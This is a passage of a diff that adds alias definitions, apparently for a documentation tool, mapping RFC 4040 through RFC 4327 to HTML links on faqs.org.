+                         "RFC4040=<a href=\"http://www.faqs.org/rfcs/rfc4040.html\">RFC 4040</a>" \
+                         "RFC4041=<a href=\"http://www.faqs.org/rfcs/rfc4041.html\">RFC 4041</a>" \
+                         "RFC4042=<a href=\"http://www.faqs.org/rfcs/rfc4042.html\">RFC 4042</a>" \
+                         "RFC4043=<a href=\"http://www.faqs.org/rfcs/rfc4043.html\">RFC 4043</a>" \
+                         "RFC4044=<a href=\"http://www.faqs.org/rfcs/rfc4044.html\">RFC 4044</a>" \
+                         "RFC4045=<a href=\"http://www.faqs.org/rfcs/rfc4045.html\">RFC 4045</a>" \
+                         "RFC4046=<a href=\"http://www.faqs.org/rfcs/rfc4046.html\">RFC 4046</a>" \
+                         "RFC4047=<a href=\"http://www.faqs.org/rfcs/rfc4047.html\">RFC 4047</a>" \
+                         "RFC4048=<a href=\"http://www.faqs.org/rfcs/rfc4048.html\">RFC 4048</a>" \
+                         "RFC4049=<a href=\"http://www.faqs.org/rfcs/rfc4049.html\">RFC 4049</a>" \
+                         "RFC4050=<a href=\"http://www.faqs.org/rfcs/rfc4050.html\">RFC 4050</a>" \
+                         "RFC4051=<a href=\"http://www.faqs.org/rfcs/rfc4051.html\">RFC 4051</a>" \
+                         "RFC4052=<a href=\"http://www.faqs.org/rfcs/rfc4052.html\">RFC 4052</a>" \
+                         "RFC4053=<a href=\"http://www.faqs.org/rfcs/rfc4053.html\">RFC 4053</a>" \
+                         "RFC4054=<a href=\"http://www.faqs.org/rfcs/rfc4054.html\">RFC 4054</a>" \
+                         "RFC4055=<a href=\"http://www.faqs.org/rfcs/rfc4055.html\">RFC 4055</a>" \
+                         "RFC4056=<a href=\"http://www.faqs.org/rfcs/rfc4056.html\">RFC 4056</a>" \
+                         "RFC4057=<a href=\"http://www.faqs.org/rfcs/rfc4057.html\">RFC 4057</a>" \
+                         "RFC4058=<a href=\"http://www.faqs.org/rfcs/rfc4058.html\">RFC 4058</a>" \
+                         "RFC4059=<a href=\"http://www.faqs.org/rfcs/rfc4059.html\">RFC 4059</a>" \
+                         "RFC4060=<a href=\"http://www.faqs.org/rfcs/rfc4060.html\">RFC 4060</a>" \
+                         "RFC4061=<a href=\"http://www.faqs.org/rfcs/rfc4061.html\">RFC 4061</a>" \
+                         "RFC4062=<a href=\"http://www.faqs.org/rfcs/rfc4062.html\">RFC 4062</a>" \
+                         "RFC4063=<a href=\"http://www.faqs.org/rfcs/rfc4063.html\">RFC 4063</a>" \
+                         "RFC4064=<a href=\"http://www.faqs.org/rfcs/rfc4064.html\">RFC 4064</a>" \
+                         "RFC4065=<a href=\"http://www.faqs.org/rfcs/rfc4065.html\">RFC 4065</a>" \
+                         "RFC4066=<a href=\"http://www.faqs.org/rfcs/rfc4066.html\">RFC 4066</a>" \
+                         "RFC4067=<a href=\"http://www.faqs.org/rfcs/rfc4067.html\">RFC 4067</a>" \
+                         "RFC4068=<a href=\"http://www.faqs.org/rfcs/rfc4068.html\">RFC 4068</a>" \
+                         "RFC4069=<a href=\"http://www.faqs.org/rfcs/rfc4069.html\">RFC 4069</a>" \
+                         "RFC4070=<a href=\"http://www.faqs.org/rfcs/rfc4070.html\">RFC 4070</a>" \
+                         "RFC4071=<a href=\"http://www.faqs.org/rfcs/rfc4071.html\">RFC 4071</a>" \
+                         "RFC4072=<a href=\"http://www.faqs.org/rfcs/rfc4072.html\">RFC 4072</a>" \
+                         "RFC4073=<a href=\"http://www.faqs.org/rfcs/rfc4073.html\">RFC 4073</a>" \
+                         "RFC4074=<a href=\"http://www.faqs.org/rfcs/rfc4074.html\">RFC 4074</a>" \
+                         "RFC4075=<a href=\"http://www.faqs.org/rfcs/rfc4075.html\">RFC 4075</a>" \
+                         "RFC4076=<a href=\"http://www.faqs.org/rfcs/rfc4076.html\">RFC 4076</a>" \
+                         "RFC4077=<a href=\"http://www.faqs.org/rfcs/rfc4077.html\">RFC 4077</a>" \
+                         "RFC4078=<a href=\"http://www.faqs.org/rfcs/rfc4078.html\">RFC 4078</a>" \
+                         "RFC4079=<a href=\"http://www.faqs.org/rfcs/rfc4079.html\">RFC 4079</a>" \
+                         "RFC4080=<a href=\"http://www.faqs.org/rfcs/rfc4080.html\">RFC 4080</a>" \
+                         "RFC4081=<a href=\"http://www.faqs.org/rfcs/rfc4081.html\">RFC 4081</a>" \
+                         "RFC4082=<a href=\"http://www.faqs.org/rfcs/rfc4082.html\">RFC 4082</a>" \
+                         "RFC4083=<a href=\"http://www.faqs.org/rfcs/rfc4083.html\">RFC 4083</a>" \
+                         "RFC4084=<a href=\"http://www.faqs.org/rfcs/rfc4084.html\">RFC 4084</a>" \
+                         "RFC4085=<a href=\"http://www.faqs.org/rfcs/rfc4085.html\">RFC 4085</a>" \
+                         "RFC4086=<a href=\"http://www.faqs.org/rfcs/rfc4086.html\">RFC 4086</a>" \
+                         "RFC4087=<a href=\"http://www.faqs.org/rfcs/rfc4087.html\">RFC 4087</a>" \
+                         "RFC4088=<a href=\"http://www.faqs.org/rfcs/rfc4088.html\">RFC 4088</a>" \
+                         "RFC4089=<a href=\"http://www.faqs.org/rfcs/rfc4089.html\">RFC 4089</a>" \
+                         "RFC4090=<a href=\"http://www.faqs.org/rfcs/rfc4090.html\">RFC 4090</a>" \
+                         "RFC4091=<a href=\"http://www.faqs.org/rfcs/rfc4091.html\">RFC 4091</a>" \
+                         "RFC4092=<a href=\"http://www.faqs.org/rfcs/rfc4092.html\">RFC 4092</a>" \
+                         "RFC4093=<a href=\"http://www.faqs.org/rfcs/rfc4093.html\">RFC 4093</a>" \
+                         "RFC4094=<a href=\"http://www.faqs.org/rfcs/rfc4094.html\">RFC 4094</a>" \
+                         "RFC4095=<a href=\"http://www.faqs.org/rfcs/rfc4095.html\">RFC 4095</a>" \
+                         "RFC4096=<a href=\"http://www.faqs.org/rfcs/rfc4096.html\">RFC 4096</a>" \
+                         "RFC4097=<a href=\"http://www.faqs.org/rfcs/rfc4097.html\">RFC 4097</a>" \
+                         "RFC4098=<a href=\"http://www.faqs.org/rfcs/rfc4098.html\">RFC 4098</a>" \
+                         "RFC4099=<a href=\"http://www.faqs.org/rfcs/rfc4099.html\">RFC 4099</a>" \
+                         "RFC4100=<a href=\"http://www.faqs.org/rfcs/rfc4100.html\">RFC 4100</a>" \
+                         "RFC4101=<a href=\"http://www.faqs.org/rfcs/rfc4101.html\">RFC 4101</a>" \
+                         "RFC4102=<a href=\"http://www.faqs.org/rfcs/rfc4102.html\">RFC 4102</a>" \
+                         "RFC4103=<a href=\"http://www.faqs.org/rfcs/rfc4103.html\">RFC 4103</a>" \
+                         "RFC4104=<a href=\"http://www.faqs.org/rfcs/rfc4104.html\">RFC 4104</a>" \
+                         "RFC4105=<a href=\"http://www.faqs.org/rfcs/rfc4105.html\">RFC 4105</a>" \
+                         "RFC4106=<a href=\"http://www.faqs.org/rfcs/rfc4106.html\">RFC 4106</a>" \
+                         "RFC4107=<a href=\"http://www.faqs.org/rfcs/rfc4107.html\">RFC 4107</a>" \
+                         "RFC4108=<a href=\"http://www.faqs.org/rfcs/rfc4108.html\">RFC 4108</a>" \
+                         "RFC4109=<a href=\"http://www.faqs.org/rfcs/rfc4109.html\">RFC 4109</a>" \
+                         "RFC4110=<a href=\"http://www.faqs.org/rfcs/rfc4110.html\">RFC 4110</a>" \
+                         "RFC4111=<a href=\"http://www.faqs.org/rfcs/rfc4111.html\">RFC 4111</a>" \
+                         "RFC4112=<a href=\"http://www.faqs.org/rfcs/rfc4112.html\">RFC 4112</a>" \
+                         "RFC4113=<a href=\"http://www.faqs.org/rfcs/rfc4113.html\">RFC 4113</a>" \
+                         "RFC4114=<a href=\"http://www.faqs.org/rfcs/rfc4114.html\">RFC 4114</a>" \
+                         "RFC4115=<a href=\"http://www.faqs.org/rfcs/rfc4115.html\">RFC 4115</a>" \
+                         "RFC4116=<a href=\"http://www.faqs.org/rfcs/rfc4116.html\">RFC 4116</a>" \
+                         "RFC4117=<a href=\"http://www.faqs.org/rfcs/rfc4117.html\">RFC 4117</a>" \
+                         "RFC4118=<a href=\"http://www.faqs.org/rfcs/rfc4118.html\">RFC 4118</a>" \
+                         "RFC4119=<a href=\"http://www.faqs.org/rfcs/rfc4119.html\">RFC 4119</a>" \
+                         "RFC4120=<a href=\"http://www.faqs.org/rfcs/rfc4120.html\">RFC 4120</a>" \
+                         "RFC4121=<a href=\"http://www.faqs.org/rfcs/rfc4121.html\">RFC 4121</a>" \
+                         "RFC4122=<a href=\"http://www.faqs.org/rfcs/rfc4122.html\">RFC 4122</a>" \
+                         "RFC4123=<a href=\"http://www.faqs.org/rfcs/rfc4123.html\">RFC 4123</a>" \
+                         "RFC4124=<a href=\"http://www.faqs.org/rfcs/rfc4124.html\">RFC 4124</a>" \
+                         "RFC4125=<a href=\"http://www.faqs.org/rfcs/rfc4125.html\">RFC 4125</a>" \
+                         "RFC4126=<a href=\"http://www.faqs.org/rfcs/rfc4126.html\">RFC 4126</a>" \
+                         "RFC4127=<a href=\"http://www.faqs.org/rfcs/rfc4127.html\">RFC 4127</a>" \
+                         "RFC4128=<a href=\"http://www.faqs.org/rfcs/rfc4128.html\">RFC 4128</a>" \
+                         "RFC4129=<a href=\"http://www.faqs.org/rfcs/rfc4129.html\">RFC 4129</a>" \
+                         "RFC4130=<a href=\"http://www.faqs.org/rfcs/rfc4130.html\">RFC 4130</a>" \
+                         "RFC4131=<a href=\"http://www.faqs.org/rfcs/rfc4131.html\">RFC 4131</a>" \
+                         "RFC4132=<a href=\"http://www.faqs.org/rfcs/rfc4132.html\">RFC 4132</a>" \
+                         "RFC4133=<a href=\"http://www.faqs.org/rfcs/rfc4133.html\">RFC 4133</a>" \
+                         "RFC4134=<a href=\"http://www.faqs.org/rfcs/rfc4134.html\">RFC 4134</a>" \
+                         "RFC4135=<a href=\"http://www.faqs.org/rfcs/rfc4135.html\">RFC 4135</a>" \
+                         "RFC4136=<a href=\"http://www.faqs.org/rfcs/rfc4136.html\">RFC 4136</a>" \
+                         "RFC4137=<a href=\"http://www.faqs.org/rfcs/rfc4137.html\">RFC 4137</a>" \
+                         "RFC4138=<a href=\"http://www.faqs.org/rfcs/rfc4138.html\">RFC 4138</a>" \
+                         "RFC4139=<a href=\"http://www.faqs.org/rfcs/rfc4139.html\">RFC 4139</a>" \
+                         "RFC4140=<a href=\"http://www.faqs.org/rfcs/rfc4140.html\">RFC 4140</a>" \
+                         "RFC4141=<a href=\"http://www.faqs.org/rfcs/rfc4141.html\">RFC 4141</a>" \
+                         "RFC4142=<a href=\"http://www.faqs.org/rfcs/rfc4142.html\">RFC 4142</a>" \
+                         "RFC4143=<a href=\"http://www.faqs.org/rfcs/rfc4143.html\">RFC 4143</a>" \
+                         "RFC4144=<a href=\"http://www.faqs.org/rfcs/rfc4144.html\">RFC 4144</a>" \
+                         "RFC4145=<a href=\"http://www.faqs.org/rfcs/rfc4145.html\">RFC 4145</a>" \
+                         "RFC4146=<a href=\"http://www.faqs.org/rfcs/rfc4146.html\">RFC 4146</a>" \
+                         "RFC4147=<a href=\"http://www.faqs.org/rfcs/rfc4147.html\">RFC 4147</a>" \
+                         "RFC4148=<a href=\"http://www.faqs.org/rfcs/rfc4148.html\">RFC 4148</a>" \
+                         "RFC4149=<a href=\"http://www.faqs.org/rfcs/rfc4149.html\">RFC 4149</a>" \
+                         "RFC4150=<a href=\"http://www.faqs.org/rfcs/rfc4150.html\">RFC 4150</a>" \
+                         "RFC4151=<a href=\"http://www.faqs.org/rfcs/rfc4151.html\">RFC 4151</a>" \
+                         "RFC4152=<a href=\"http://www.faqs.org/rfcs/rfc4152.html\">RFC 4152</a>" \
+                         "RFC4153=<a href=\"http://www.faqs.org/rfcs/rfc4153.html\">RFC 4153</a>" \
+                         "RFC4154=<a href=\"http://www.faqs.org/rfcs/rfc4154.html\">RFC 4154</a>" \
+                         "RFC4155=<a href=\"http://www.faqs.org/rfcs/rfc4155.html\">RFC 4155</a>" \
+                         "RFC4156=<a href=\"http://www.faqs.org/rfcs/rfc4156.html\">RFC 4156</a>" \
+                         "RFC4157=<a href=\"http://www.faqs.org/rfcs/rfc4157.html\">RFC 4157</a>" \
+                         "RFC4158=<a href=\"http://www.faqs.org/rfcs/rfc4158.html\">RFC 4158</a>" \
+                         "RFC4159=<a href=\"http://www.faqs.org/rfcs/rfc4159.html\">RFC 4159</a>" \
+                         "RFC4160=<a href=\"http://www.faqs.org/rfcs/rfc4160.html\">RFC 4160</a>" \
+                         "RFC4161=<a href=\"http://www.faqs.org/rfcs/rfc4161.html\">RFC 4161</a>" \
+                         "RFC4162=<a href=\"http://www.faqs.org/rfcs/rfc4162.html\">RFC 4162</a>" \
+                         "RFC4163=<a href=\"http://www.faqs.org/rfcs/rfc4163.html\">RFC 4163</a>" \
+                         "RFC4164=<a href=\"http://www.faqs.org/rfcs/rfc4164.html\">RFC 4164</a>" \
+                         "RFC4165=<a href=\"http://www.faqs.org/rfcs/rfc4165.html\">RFC 4165</a>" \
+                         "RFC4166=<a href=\"http://www.faqs.org/rfcs/rfc4166.html\">RFC 4166</a>" \
+                         "RFC4167=<a href=\"http://www.faqs.org/rfcs/rfc4167.html\">RFC 4167</a>" \
+                         "RFC4168=<a href=\"http://www.faqs.org/rfcs/rfc4168.html\">RFC 4168</a>" \
+                         "RFC4169=<a href=\"http://www.faqs.org/rfcs/rfc4169.html\">RFC 4169</a>" \
+                         "RFC4170=<a href=\"http://www.faqs.org/rfcs/rfc4170.html\">RFC 4170</a>" \
+                         "RFC4171=<a href=\"http://www.faqs.org/rfcs/rfc4171.html\">RFC 4171</a>" \
+                         "RFC4172=<a href=\"http://www.faqs.org/rfcs/rfc4172.html\">RFC 4172</a>" \
+                         "RFC4173=<a href=\"http://www.faqs.org/rfcs/rfc4173.html\">RFC 4173</a>" \
+                         "RFC4174=<a href=\"http://www.faqs.org/rfcs/rfc4174.html\">RFC 4174</a>" \
+                         "RFC4175=<a href=\"http://www.faqs.org/rfcs/rfc4175.html\">RFC 4175</a>" \
+                         "RFC4176=<a href=\"http://www.faqs.org/rfcs/rfc4176.html\">RFC 4176</a>" \
+                         "RFC4177=<a href=\"http://www.faqs.org/rfcs/rfc4177.html\">RFC 4177</a>" \
+                         "RFC4178=<a href=\"http://www.faqs.org/rfcs/rfc4178.html\">RFC 4178</a>" \
+                         "RFC4179=<a href=\"http://www.faqs.org/rfcs/rfc4179.html\">RFC 4179</a>" \
+                         "RFC4180=<a href=\"http://www.faqs.org/rfcs/rfc4180.html\">RFC 4180</a>" \
+                         "RFC4181=<a href=\"http://www.faqs.org/rfcs/rfc4181.html\">RFC 4181</a>" \
+                         "RFC4182=<a href=\"http://www.faqs.org/rfcs/rfc4182.html\">RFC 4182</a>" \
+                         "RFC4183=<a href=\"http://www.faqs.org/rfcs/rfc4183.html\">RFC 4183</a>" \
+                         "RFC4184=<a href=\"http://www.faqs.org/rfcs/rfc4184.html\">RFC 4184</a>" \
+                         "RFC4185=<a href=\"http://www.faqs.org/rfcs/rfc4185.html\">RFC 4185</a>" \
+                         "RFC4186=<a href=\"http://www.faqs.org/rfcs/rfc4186.html\">RFC 4186</a>" \
+                         "RFC4187=<a href=\"http://www.faqs.org/rfcs/rfc4187.html\">RFC 4187</a>" \
+                         "RFC4188=<a href=\"http://www.faqs.org/rfcs/rfc4188.html\">RFC 4188</a>" \
+                         "RFC4189=<a href=\"http://www.faqs.org/rfcs/rfc4189.html\">RFC 4189</a>" \
+                         "RFC4190=<a href=\"http://www.faqs.org/rfcs/rfc4190.html\">RFC 4190</a>" \
+                         "RFC4191=<a href=\"http://www.faqs.org/rfcs/rfc4191.html\">RFC 4191</a>" \
+                         "RFC4192=<a href=\"http://www.faqs.org/rfcs/rfc4192.html\">RFC 4192</a>" \
+                         "RFC4193=<a href=\"http://www.faqs.org/rfcs/rfc4193.html\">RFC 4193</a>" \
+                         "RFC4194=<a href=\"http://www.faqs.org/rfcs/rfc4194.html\">RFC 4194</a>" \
+                         "RFC4195=<a href=\"http://www.faqs.org/rfcs/rfc4195.html\">RFC 4195</a>" \
+                         "RFC4196=<a href=\"http://www.faqs.org/rfcs/rfc4196.html\">RFC 4196</a>" \
+                         "RFC4197=<a href=\"http://www.faqs.org/rfcs/rfc4197.html\">RFC 4197</a>" \
+                         "RFC4198=<a href=\"http://www.faqs.org/rfcs/rfc4198.html\">RFC 4198</a>" \
+                         "RFC4199=<a href=\"http://www.faqs.org/rfcs/rfc4199.html\">RFC 4199</a>" \
+                         "RFC4200=<a href=\"http://www.faqs.org/rfcs/rfc4200.html\">RFC 4200</a>" \
+                         "RFC4201=<a href=\"http://www.faqs.org/rfcs/rfc4201.html\">RFC 4201</a>" \
+                         "RFC4202=<a href=\"http://www.faqs.org/rfcs/rfc4202.html\">RFC 4202</a>" \
+                         "RFC4203=<a href=\"http://www.faqs.org/rfcs/rfc4203.html\">RFC 4203</a>" \
+                         "RFC4204=<a href=\"http://www.faqs.org/rfcs/rfc4204.html\">RFC 4204</a>" \
+                         "RFC4205=<a href=\"http://www.faqs.org/rfcs/rfc4205.html\">RFC 4205</a>" \
+                         "RFC4206=<a href=\"http://www.faqs.org/rfcs/rfc4206.html\">RFC 4206</a>" \
+                         "RFC4207=<a href=\"http://www.faqs.org/rfcs/rfc4207.html\">RFC 4207</a>" \
+                         "RFC4208=<a href=\"http://www.faqs.org/rfcs/rfc4208.html\">RFC 4208</a>" \
+                         "RFC4209=<a href=\"http://www.faqs.org/rfcs/rfc4209.html\">RFC 4209</a>" \
+                         "RFC4210=<a href=\"http://www.faqs.org/rfcs/rfc4210.html\">RFC 4210</a>" \
+                         "RFC4211=<a href=\"http://www.faqs.org/rfcs/rfc4211.html\">RFC 4211</a>" \
+                         "RFC4212=<a href=\"http://www.faqs.org/rfcs/rfc4212.html\">RFC 4212</a>" \
+                         "RFC4213=<a href=\"http://www.faqs.org/rfcs/rfc4213.html\">RFC 4213</a>" \
+                         "RFC4214=<a href=\"http://www.faqs.org/rfcs/rfc4214.html\">RFC 4214</a>" \
+                         "RFC4215=<a href=\"http://www.faqs.org/rfcs/rfc4215.html\">RFC 4215</a>" \
+                         "RFC4216=<a href=\"http://www.faqs.org/rfcs/rfc4216.html\">RFC 4216</a>" \
+                         "RFC4217=<a href=\"http://www.faqs.org/rfcs/rfc4217.html\">RFC 4217</a>" \
+                         "RFC4218=<a href=\"http://www.faqs.org/rfcs/rfc4218.html\">RFC 4218</a>" \
+                         "RFC4219=<a href=\"http://www.faqs.org/rfcs/rfc4219.html\">RFC 4219</a>" \
+                         "RFC4220=<a href=\"http://www.faqs.org/rfcs/rfc4220.html\">RFC 4220</a>" \
+                         "RFC4221=<a href=\"http://www.faqs.org/rfcs/rfc4221.html\">RFC 4221</a>" \
+                         "RFC4222=<a href=\"http://www.faqs.org/rfcs/rfc4222.html\">RFC 4222</a>" \
+                         "RFC4223=<a href=\"http://www.faqs.org/rfcs/rfc4223.html\">RFC 4223</a>" \
+                         "RFC4224=<a href=\"http://www.faqs.org/rfcs/rfc4224.html\">RFC 4224</a>" \
+                         "RFC4225=<a href=\"http://www.faqs.org/rfcs/rfc4225.html\">RFC 4225</a>" \
+                         "RFC4226=<a href=\"http://www.faqs.org/rfcs/rfc4226.html\">RFC 4226</a>" \
+                         "RFC4227=<a href=\"http://www.faqs.org/rfcs/rfc4227.html\">RFC 4227</a>" \
+                         "RFC4228=<a href=\"http://www.faqs.org/rfcs/rfc4228.html\">RFC 4228</a>" \
+                         "RFC4229=<a href=\"http://www.faqs.org/rfcs/rfc4229.html\">RFC 4229</a>" \
+                         "RFC4230=<a href=\"http://www.faqs.org/rfcs/rfc4230.html\">RFC 4230</a>" \
+                         "RFC4231=<a href=\"http://www.faqs.org/rfcs/rfc4231.html\">RFC 4231</a>" \
+                         "RFC4232=<a href=\"http://www.faqs.org/rfcs/rfc4232.html\">RFC 4232</a>" \
+                         "RFC4233=<a href=\"http://www.faqs.org/rfcs/rfc4233.html\">RFC 4233</a>" \
+                         "RFC4234=<a href=\"http://www.faqs.org/rfcs/rfc4234.html\">RFC 4234</a>" \
+                         "RFC4235=<a href=\"http://www.faqs.org/rfcs/rfc4235.html\">RFC 4235</a>" \
+                         "RFC4236=<a href=\"http://www.faqs.org/rfcs/rfc4236.html\">RFC 4236</a>" \
+                         "RFC4237=<a href=\"http://www.faqs.org/rfcs/rfc4237.html\">RFC 4237</a>" \
+                         "RFC4238=<a href=\"http://www.faqs.org/rfcs/rfc4238.html\">RFC 4238</a>" \
+                         "RFC4239=<a href=\"http://www.faqs.org/rfcs/rfc4239.html\">RFC 4239</a>" \
+                         "RFC4240=<a href=\"http://www.faqs.org/rfcs/rfc4240.html\">RFC 4240</a>" \
+                         "RFC4241=<a href=\"http://www.faqs.org/rfcs/rfc4241.html\">RFC 4241</a>" \
+                         "RFC4242=<a href=\"http://www.faqs.org/rfcs/rfc4242.html\">RFC 4242</a>" \
+                         "RFC4243=<a href=\"http://www.faqs.org/rfcs/rfc4243.html\">RFC 4243</a>" \
+                         "RFC4244=<a href=\"http://www.faqs.org/rfcs/rfc4244.html\">RFC 4244</a>" \
+                         "RFC4245=<a href=\"http://www.faqs.org/rfcs/rfc4245.html\">RFC 4245</a>" \
+                         "RFC4246=<a href=\"http://www.faqs.org/rfcs/rfc4246.html\">RFC 4246</a>" \
+                         "RFC4247=<a href=\"http://www.faqs.org/rfcs/rfc4247.html\">RFC 4247</a>" \
+                         "RFC4248=<a href=\"http://www.faqs.org/rfcs/rfc4248.html\">RFC 4248</a>" \
+                         "RFC4249=<a href=\"http://www.faqs.org/rfcs/rfc4249.html\">RFC 4249</a>" \
+                         "RFC4250=<a href=\"http://www.faqs.org/rfcs/rfc4250.html\">RFC 4250</a>" \
+                         "RFC4251=<a href=\"http://www.faqs.org/rfcs/rfc4251.html\">RFC 4251</a>" \
+                         "RFC4252=<a href=\"http://www.faqs.org/rfcs/rfc4252.html\">RFC 4252</a>" \
+                         "RFC4253=<a href=\"http://www.faqs.org/rfcs/rfc4253.html\">RFC 4253</a>" \
+                         "RFC4254=<a href=\"http://www.faqs.org/rfcs/rfc4254.html\">RFC 4254</a>" \
+                         "RFC4255=<a href=\"http://www.faqs.org/rfcs/rfc4255.html\">RFC 4255</a>" \
+                         "RFC4256=<a href=\"http://www.faqs.org/rfcs/rfc4256.html\">RFC 4256</a>" \
+                         "RFC4257=<a href=\"http://www.faqs.org/rfcs/rfc4257.html\">RFC 4257</a>" \
+                         "RFC4258=<a href=\"http://www.faqs.org/rfcs/rfc4258.html\">RFC 4258</a>" \
+                         "RFC4259=<a href=\"http://www.faqs.org/rfcs/rfc4259.html\">RFC 4259</a>" \
+                         "RFC4260=<a href=\"http://www.faqs.org/rfcs/rfc4260.html\">RFC 4260</a>" \
+                         "RFC4261=<a href=\"http://www.faqs.org/rfcs/rfc4261.html\">RFC 4261</a>" \
+                         "RFC4262=<a href=\"http://www.faqs.org/rfcs/rfc4262.html\">RFC 4262</a>" \
+                         "RFC4263=<a href=\"http://www.faqs.org/rfcs/rfc4263.html\">RFC 4263</a>" \
+                         "RFC4264=<a href=\"http://www.faqs.org/rfcs/rfc4264.html\">RFC 4264</a>" \
+                         "RFC4265=<a href=\"http://www.faqs.org/rfcs/rfc4265.html\">RFC 4265</a>" \
+                         "RFC4266=<a href=\"http://www.faqs.org/rfcs/rfc4266.html\">RFC 4266</a>" \
+                         "RFC4267=<a href=\"http://www.faqs.org/rfcs/rfc4267.html\">RFC 4267</a>" \
+                         "RFC4268=<a href=\"http://www.faqs.org/rfcs/rfc4268.html\">RFC 4268</a>" \
+                         "RFC4269=<a href=\"http://www.faqs.org/rfcs/rfc4269.html\">RFC 4269</a>" \
+                         "RFC4270=<a href=\"http://www.faqs.org/rfcs/rfc4270.html\">RFC 4270</a>" \
+                         "RFC4271=<a href=\"http://www.faqs.org/rfcs/rfc4271.html\">RFC 4271</a>" \
+                         "RFC4272=<a href=\"http://www.faqs.org/rfcs/rfc4272.html\">RFC 4272</a>" \
+                         "RFC4273=<a href=\"http://www.faqs.org/rfcs/rfc4273.html\">RFC 4273</a>" \
+                         "RFC4274=<a href=\"http://www.faqs.org/rfcs/rfc4274.html\">RFC 4274</a>" \
+                         "RFC4275=<a href=\"http://www.faqs.org/rfcs/rfc4275.html\">RFC 4275</a>" \
+                         "RFC4276=<a href=\"http://www.faqs.org/rfcs/rfc4276.html\">RFC 4276</a>" \
+                         "RFC4277=<a href=\"http://www.faqs.org/rfcs/rfc4277.html\">RFC 4277</a>" \
+                         "RFC4278=<a href=\"http://www.faqs.org/rfcs/rfc4278.html\">RFC 4278</a>" \
+                         "RFC4279=<a href=\"http://www.faqs.org/rfcs/rfc4279.html\">RFC 4279</a>" \
+                         "RFC4280=<a href=\"http://www.faqs.org/rfcs/rfc4280.html\">RFC 4280</a>" \
+                         "RFC4281=<a href=\"http://www.faqs.org/rfcs/rfc4281.html\">RFC 4281</a>" \
+                         "RFC4282=<a href=\"http://www.faqs.org/rfcs/rfc4282.html\">RFC 4282</a>" \
+                         "RFC4283=<a href=\"http://www.faqs.org/rfcs/rfc4283.html\">RFC 4283</a>" \
+                         "RFC4284=<a href=\"http://www.faqs.org/rfcs/rfc4284.html\">RFC 4284</a>" \
+                         "RFC4285=<a href=\"http://www.faqs.org/rfcs/rfc4285.html\">RFC 4285</a>" \
+                         "RFC4286=<a href=\"http://www.faqs.org/rfcs/rfc4286.html\">RFC 4286</a>" \
+                         "RFC4287=<a href=\"http://www.faqs.org/rfcs/rfc4287.html\">RFC 4287</a>" \
+                         "RFC4288=<a href=\"http://www.faqs.org/rfcs/rfc4288.html\">RFC 4288</a>" \
+                         "RFC4289=<a href=\"http://www.faqs.org/rfcs/rfc4289.html\">RFC 4289</a>" \
+                         "RFC4290=<a href=\"http://www.faqs.org/rfcs/rfc4290.html\">RFC 4290</a>" \
+                         "RFC4291=<a href=\"http://www.faqs.org/rfcs/rfc4291.html\">RFC 4291</a>" \
+                         "RFC4292=<a href=\"http://www.faqs.org/rfcs/rfc4292.html\">RFC 4292</a>" \
+                         "RFC4293=<a href=\"http://www.faqs.org/rfcs/rfc4293.html\">RFC 4293</a>" \
+                         "RFC4294=<a href=\"http://www.faqs.org/rfcs/rfc4294.html\">RFC 4294</a>" \
+                         "RFC4295=<a href=\"http://www.faqs.org/rfcs/rfc4295.html\">RFC 4295</a>" \
+                         "RFC4296=<a href=\"http://www.faqs.org/rfcs/rfc4296.html\">RFC 4296</a>" \
+                         "RFC4297=<a href=\"http://www.faqs.org/rfcs/rfc4297.html\">RFC 4297</a>" \
+                         "RFC4298=<a href=\"http://www.faqs.org/rfcs/rfc4298.html\">RFC 4298</a>" \
+                         "RFC4299=<a href=\"http://www.faqs.org/rfcs/rfc4299.html\">RFC 4299</a>" \
+                         "RFC4300=<a href=\"http://www.faqs.org/rfcs/rfc4300.html\">RFC 4300</a>" \
+                         "RFC4301=<a href=\"http://www.faqs.org/rfcs/rfc4301.html\">RFC 4301</a>" \
+                         "RFC4302=<a href=\"http://www.faqs.org/rfcs/rfc4302.html\">RFC 4302</a>" \
+                         "RFC4303=<a href=\"http://www.faqs.org/rfcs/rfc4303.html\">RFC 4303</a>" \
+                         "RFC4304=<a href=\"http://www.faqs.org/rfcs/rfc4304.html\">RFC 4304</a>" \
+                         "RFC4305=<a href=\"http://www.faqs.org/rfcs/rfc4305.html\">RFC 4305</a>" \
+                         "RFC4306=<a href=\"http://www.faqs.org/rfcs/rfc4306.html\">RFC 4306</a>" \
+                         "RFC4307=<a href=\"http://www.faqs.org/rfcs/rfc4307.html\">RFC 4307</a>" \
+                         "RFC4308=<a href=\"http://www.faqs.org/rfcs/rfc4308.html\">RFC 4308</a>" \
+                         "RFC4309=<a href=\"http://www.faqs.org/rfcs/rfc4309.html\">RFC 4309</a>" \
+                         "RFC4310=<a href=\"http://www.faqs.org/rfcs/rfc4310.html\">RFC 4310</a>" \
+                         "RFC4311=<a href=\"http://www.faqs.org/rfcs/rfc4311.html\">RFC 4311</a>" \
+                         "RFC4312=<a href=\"http://www.faqs.org/rfcs/rfc4312.html\">RFC 4312</a>" \
+                         "RFC4313=<a href=\"http://www.faqs.org/rfcs/rfc4313.html\">RFC 4313</a>" \
+                         "RFC4314=<a href=\"http://www.faqs.org/rfcs/rfc4314.html\">RFC 4314</a>" \
+                         "RFC4315=<a href=\"http://www.faqs.org/rfcs/rfc4315.html\">RFC 4315</a>" \
+                         "RFC4316=<a href=\"http://www.faqs.org/rfcs/rfc4316.html\">RFC 4316</a>" \
+                         "RFC4317=<a href=\"http://www.faqs.org/rfcs/rfc4317.html\">RFC 4317</a>" \
+                         "RFC4318=<a href=\"http://www.faqs.org/rfcs/rfc4318.html\">RFC 4318</a>" \
+                         "RFC4319=<a href=\"http://www.faqs.org/rfcs/rfc4319.html\">RFC 4319</a>" \
+                         "RFC4320=<a href=\"http://www.faqs.org/rfcs/rfc4320.html\">RFC 4320</a>" \
+                         "RFC4321=<a href=\"http://www.faqs.org/rfcs/rfc4321.html\">RFC 4321</a>" \
+                         "RFC4322=<a href=\"http://www.faqs.org/rfcs/rfc4322.html\">RFC 4322</a>" \
+                         "RFC4323=<a href=\"http://www.faqs.org/rfcs/rfc4323.html\">RFC 4323</a>" \
+                         "RFC4324=<a href=\"http://www.faqs.org/rfcs/rfc4324.html\">RFC 4324</a>" \
+                         "RFC4325=<a href=\"http://www.faqs.org/rfcs/rfc4325.html\">RFC 4325</a>" \
+                         "RFC4326=<a href=\"http://www.faqs.org/rfcs/rfc4326.html\">RFC 4326</a>" \
+                         "RFC4327=<a href=\"http://www.faqs.org/rfcs/rfc4327.html\">RFC 4327</a>" \
